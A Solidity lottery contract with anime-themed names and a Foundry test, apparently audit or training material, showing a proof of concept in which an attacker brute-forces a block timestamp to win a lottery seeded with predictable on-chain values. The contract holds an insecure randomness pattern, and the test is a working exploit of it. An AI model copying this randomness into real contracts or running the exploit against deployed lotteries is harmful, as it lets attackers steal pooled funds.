25 collapsed lines
1
// SPDX-License-License: MIT
2
pragma solidity ^0.8.30;
3

4
contract HiddenLeafLottery {
5
    address public hokage;
6
    uint256 public entryFee = 1 ether;
7
    uint256 public pool = 0;
8
    address[] public ninjas;
9
    bool public drawCompleted = false;
10

11
    constructor() {
12
        hokage = msg.sender;
13
    }
14

15
    modifier onlyHokage() {
16
        require(msg.sender == hokage, "Only Hokage can call");
17
        _;
18
    }
19

20
    function enter() external payable {
21
        require(msg.value == entryFee, "Incorrect entry fee");
22
        ninjas.push(msg.sender);
23
        pool += msg.value;
24
    }
25

26
    function drawWinner() external onlyHokage {
27
        require(!drawCompleted, "Draw already completed");
28
        require(ninjas.length > 0, "No ninjas");
29

30
        uint256 seed = uint256(
31
            keccak256(abi.encodePacked(block.timestamp, block.difficulty, blockhash(block.number - 1), ninjas.length))
32
        );
33
        uint256 winnerIndex = seed % ninjas.length;
34
        address winner = ninjas[winnerIndex];
35

36
        drawCompleted = true;
37
        (bool success,) = winner.call{value: pool}("");
38
        require(success, "Transfer failed");
39
        pool = 0;
40
    }
41

42
    function getPoolBalance() external view returns (uint256) {
43
        return pool;
44
    }
45
}

1
function testOrochimaruPredictsWinner() public {
2
        // Naruto enters at index 0
3
        vm.prank(naruto);
4
        lottery.enter{value: 1 ether}();
5

6
        // Orochimaru enters, becomes index 1
7
        vm.prank(orochimaru);
8
        lottery.enter{value: 1 ether}();
9

10
        // The ninjas array is now: [Naruto, Orochimaru]
11
        uint256 ninjaCount = 2;
12
        uint256 targetTs = block.timestamp;
13

14
        // Brute-force timestamp to make Orochimaru win
15
        // Winner index must be 1
16
        while (true) {
17
            // Simulate the exact seed the contract will use
18
            uint256 seed = uint256(
19
                keccak256(
20
                    abi.encodePacked(
21
                        targetTs,
22
                        block.difficulty,
23
                        blockhash(block.number - 1),
24
                        ninjaCount
25
                    )
26
                )
27
            );
28

29
            if (seed % ninjaCount == 1) {
30
                break; // Found timestamp where Orochimaru wins
31
            }
32

33
            targetTs++;
34
        }
35

36
        // Manipulate the next block timestamp to chosen timestamp
37
        vm.warp(targetTs);
38

39
        // Hokage executes drawWinner
40
        vm.prank(hokage);
41
        lottery.drawWinner();
42

43
        // Assert Orochimaru drained pool
44
        assertEq(orochimaru.balance, 2 ether, "Orochimaru should win jackpot");
45
        assertEq(lottery.getPoolBalance(), 0, "Pool should be empty");
46
    }